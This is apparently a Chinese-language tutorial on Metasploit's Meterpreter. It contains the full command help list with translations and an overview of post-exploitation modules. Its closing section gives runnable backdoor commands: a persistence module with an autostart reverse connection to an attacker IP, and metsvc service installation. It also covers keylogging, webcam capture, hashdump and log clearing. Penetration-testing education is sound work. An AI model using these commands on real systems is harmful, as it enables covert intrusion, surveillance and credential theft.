meterpreter详解

meterpreter 帮助

meterpreter > help

Core Commands

Command                   Description
-------                   -----------
?                         Help menu
background                Backgrounds the current session
bgkill                    Kills a background meterpreter script
bglist                    Lists running background scripts
bgrun                     Executes a meterpreter script as a background thread
channel                   Displays information or control active channels
close                     Closes a channel
disable_unicode_encoding  Disables encoding of unicode strings
enable_unicode_encoding   Enables encoding of unicode strings
exit                      Terminate the meterpreter session
get_timeouts              Get the current session timeout values
guid                      Get the session GUID
help                      Help menu
info                      Displays information about a Post module
irb                       Drop into irb scripting mode
load                      Load one or more meterpreter extensions
machine_id                Get the MSF ID of the machine attached to the session
migrate                   Migrate the server to another process
quit                      Terminate the meterpreter session
read                      Reads data from a channel
resource                  Run the commands stored in a file
run                       Executes a meterpreter script or Post module
sessions                  Quickly switch to another session
set_timeouts              Set the current session timeout values
sleep                     Force Meterpreter to go quiet, then re-establish session.
transport                 Change the current transport mechanism
use                       Deprecated alias for "load"
uuid                      Get the UUID for the current session
write                     Writes data to a channel

Stdapi: File system Commands

Command       Description
-------       -----------
cat           Read the contents of a file to the screen
cd            Change directory
checksum      Retrieve the checksum of a file
cp            Copy source to destination
dir           List files (alias for ls)
download      Download a file or directory
edit          Edit a file
getlwd        Print local working directory
getwd         Print working directory
lcd           Change local working directory
lpwd          Print local working directory
ls            List files
mkdir         Make directory
mv            Move source to destination
pwd           Print working directory
rm            Delete the specified file
rmdir         Remove directory
search        Search for files
show_mount    List all mount points/logical drives
upload        Upload a file or directory

Stdapi: Networking Commands

Command       Description
-------       -----------
arp           Display the host ARP cache
getproxy      Display the current proxy configuration
ifconfig      Display interfaces
ipconfig      Display interfaces
netstat       Display the network connections
portfwd       Forward a local port to a remote service
resolve       Resolve a set of host names on the target
route         View and modify the routing table

Stdapi: System Commands

Command       Description
-------       -----------
clearev       Clear the event log
drop_token    Relinquishes any active impersonation token.
execute       Execute a command
getenv        Get one or more environment variable values
getpid        Get the current process identifier
getprivs      Attempt to enable all privileges available to the current process
getsid        Get the SID of the user that the server is running as
getuid        Get the user that the server is running as
kill          Terminate a process
localtime     Displays the target system's local date and time
pgrep         Filter processes by name
pkill         Terminate processes by name
ps            List running processes
reboot        Reboots the remote computer
reg           Modify and interact with the remote registry
rev2self      Calls RevertToSelf() on the remote machine
shell         Drop into a system command shell
shutdown      Shuts down the remote computer
steal_token   Attempts to steal an impersonation token from the target process
suspend       Suspends or resumes a list of processes
sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands

Command        Description
-------        -----------
enumdesktops   List all accessible desktops and window stations
getdesktop     Get the current meterpreter desktop
idletime       Returns the number of seconds the remote user has been idle
keyscan_dump   Dump the keystroke buffer
keyscan_start  Start capturing keystrokes
keyscan_stop   Stop capturing keystrokes
screenshot     Grab a screenshot of the interactive desktop
setdesktop     Change the meterpreters current desktop
uictl          Control some of the user interface components

Stdapi: Webcam Commands

Command        Description
-------        -----------
record_mic     Record audio from the default microphone for X seconds
webcam_chat    Start a video chat
webcam_list    List webcams
webcam_snap    Take a snapshot from the specified webcam
webcam_stream  Play a video stream from the specified webcam

Priv: Elevate Commands

Command       Description
-------       -----------
getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command       Description
-------       -----------
hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands

Command       Description
-------       -----------
timestomp     Manipulate file MACE attributes

meterpreter 中文参数

核心命令

? - 命令说明

background

background - 当前会话移动到背景

bgkill

bgkill - 杀死一个背景 meterpreter 脚本

bglist

bglist - 提供所有正在运行的后台脚本的列表

bgrun

bgrun - 作为一个后台线程运行脚本

channel

channel - 显示活动频道

close

close - 关闭通道

disable_unicode_encoding

disable_unicode_encoding - 禁用统一编码

enable_unicode_encoding

enable_unicode_encoding - 启用统一编码

exit

exit - 终止 meterpreter 会话

get_timeouts

get_timeouts - 获取当前会话超时值

guid

guid - 获取会话GUID

help

help - 帮助菜单

info

info - 显示有关Post模块的信息

interact

interact - 与通道进行交互

irb

irb - 进入 Ruby 脚本模式

load

load - 加载一个或多个仪表扩展

machine_id

machine_id - 获取附加到会话的机器的MSF ID

migrate

migrate - 移动到一个指定的 PID 的活动进程

quit

quit - 终止 meterpreter 会话

read

read - 从通道读取数据

resource

resource - 运行文件中存储的命令

run

run - 执行以后它选定的 meterpreter 脚本

sessions

sessions - 快速切换到另一个会话

set_timeouts

set_timeouts - 设置当前会话超时值

sleep

sleep - 强制停止Meterpreter,然后重新建立会话。

transport

transport - 改变当前的运输机制

use

use - 加载 meterpreter 的扩展

uuid

uuid - 获取当前会话的UUID

write

write - 将数据写入到一个通道

文件系统命令

cat

cat - 读取并输出到标准输出文件的内容

cd

cd - 更改目录对受害人

checksum

checksum - 检索文件的校验和

del

del - 删除文件对受害人

download

download - 从受害者系统文件下载

edit

edit - 用 vim编辑文件

getlwd

getlwd - 打印本地目录

getwd

getwd - 打印工作目录

lcd

lcd - 更改本地目录

lpwd

lpwd - 打印本地目录

ls

ls - 列出在当前目录中的文件列表

mkdir

mkdir - 在受害者系统上的创建目录

pwd

pwd - 输出工作目录

rm

rm - 删除文件

rmdir

rmdir -受害者系统上删除目录

upload

upload - 从攻击者的系统往受害者系统上传文件

网络命令

arp

arp - 显示主机ARP缓存

getproxy

getproxy - 显示当前的代理配置

ifconfig

ifconfig - 显示网络接口的关键信息,包括 IP 地址等。

ipconfig

ipconfig -显示网络接口的关键信息,包括 IP 地址等。

netstat

netstat - 显示网络连接

portfwd

portfwd - 端口转发

resovle

resovle - 在目标上解析一组主机名

route

route - 查看或修改受害者路由表

系统命令

clearav

clearav - 清除了受害者的计算机上的事件日志

drop_token

drop_token - 被盗的令牌

execute

execute - 执行命令

getenv

getenv - 获取一个或多个环境变量值

getpid

getpid -获取当前进程 ID (PID)

getprivs

getprivs - 尽可能获取尽可能多的特权

getuid

getuid - 获取作为运行服务器的用户

kill

kill - 终止指定 PID 的进程

localtime

localtime - 显示目标系统的本地日期和时间

pgrep

pgrep - 按名称过滤进程

pkill

pkill - 按名称终止指定 PID 的进程

ps

ps - 列出正在运行的进程

reboot

reboot - 重新启动受害人的计算机

reg

reg - 与受害人的注册表进行交互

rev2self

rev2self - 在受害者机器上调用 RevertToSelf()

shell

shell - 在受害者计算机上打开一个shell

shutdown

shutdown - 关闭了受害者的计算机

steal_token

steal_token -试图窃取指定的 (PID) 进程的令牌

###suspend

sysinfo

sysinfo -获取有关受害者计算机操作系统和名称等的详细信息

用户界面命令

enumdesktops

enumdesktops - 列出所有可访问台式机

getdesktop

getdesktop - 获取当前的 meterpreter 桌面

idletime

idletime - 检查长时间以来,受害者系统空闲进程

keyscan_dump

keyscan_dump - 键盘记录软件的内容转储

keyscan_start

keyscan_start - 启动时与如 Word 或浏览器的进程相关联的键盘记录软件

keyscan_stop

keyscan_stop - 停止键盘记录软件

screenshot

screenshot- 抓去 meterpreter 桌面的屏幕截图

set_desktop

set_desktop - 更改 meterpreter 桌面

uictl

uictl - 启用用户界面组件的一些控件

网络摄像头命令

record_mic

record_mic - 从默认麦克风录制音频X秒

webcam_chat

webcam_chat - 开始视频聊天

webcam_list

webcam_list - 列出网络摄像头

webcam_snap

webcam_snap - 从指定的网络摄像头拍摄快照

webcam_stream

webcam_stream - 从指定的网络摄像头播放视频流

特权升级命令

getsystem

getsystem - 获得系统管理员权限

密码转储命令

hashdump

hashdump - 抓去哈希密码 (SAM) 文件中的值

请注意 hashdump 会可以跳过杀毒软件,但现在有两个脚本,都更加隐蔽,”run hashdump”和”run smart_hashdump”。查找更多关于那些在我即将举行的 meterpreter 脚本作弊。

Timestomp 命令

timestomp

timestomp - 操作修改,访问,并创建一个文件的属性

部分来源

http://www.cnnetsec.com/1368.html

后渗透测试攻击

什么是后渗透测试攻击模块

后渗透攻击模块(Post)是Metasploit v4版本中正式引入的一种新类型的组件模块,主要支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。

后渗透攻击模块的实现原理

后渗透攻击模块是通过Ruby语言编写的,目标机上可能没有Ruby解释器吧,那么后渗透攻击模块是如何通过Meterpreter会话在目标机上执行的呢。看下来步骤: 后渗透攻击脚本由Meterpreter客户端解释 远程调用Meterpreter服务端提供的API(Meterpreter服务端即运行在目标机上的攻击载荷)

使用 post 模块

这里有非常多获敏感信息的模块

1
msf exploit(handler) > search post/windows

enum_dirperms

选择enum_dirperms模块

设置session

植入后门

Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。

persistence攻击模块

运行persistence

1
run persistence -X -i5 -p 4567 -r 192.168.1.1


-X指定启动的方式为开机自启动,-i反向连接的时间间隔

metsvc后渗透攻击模块

metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

1
2
3
metsvc.dll
metsvc-service.exe
metsvc.exe

1
meterpreter > run metsvc

查看被攻击机

我们可以发现Meterpreter服务,正在开启监听并等待连接。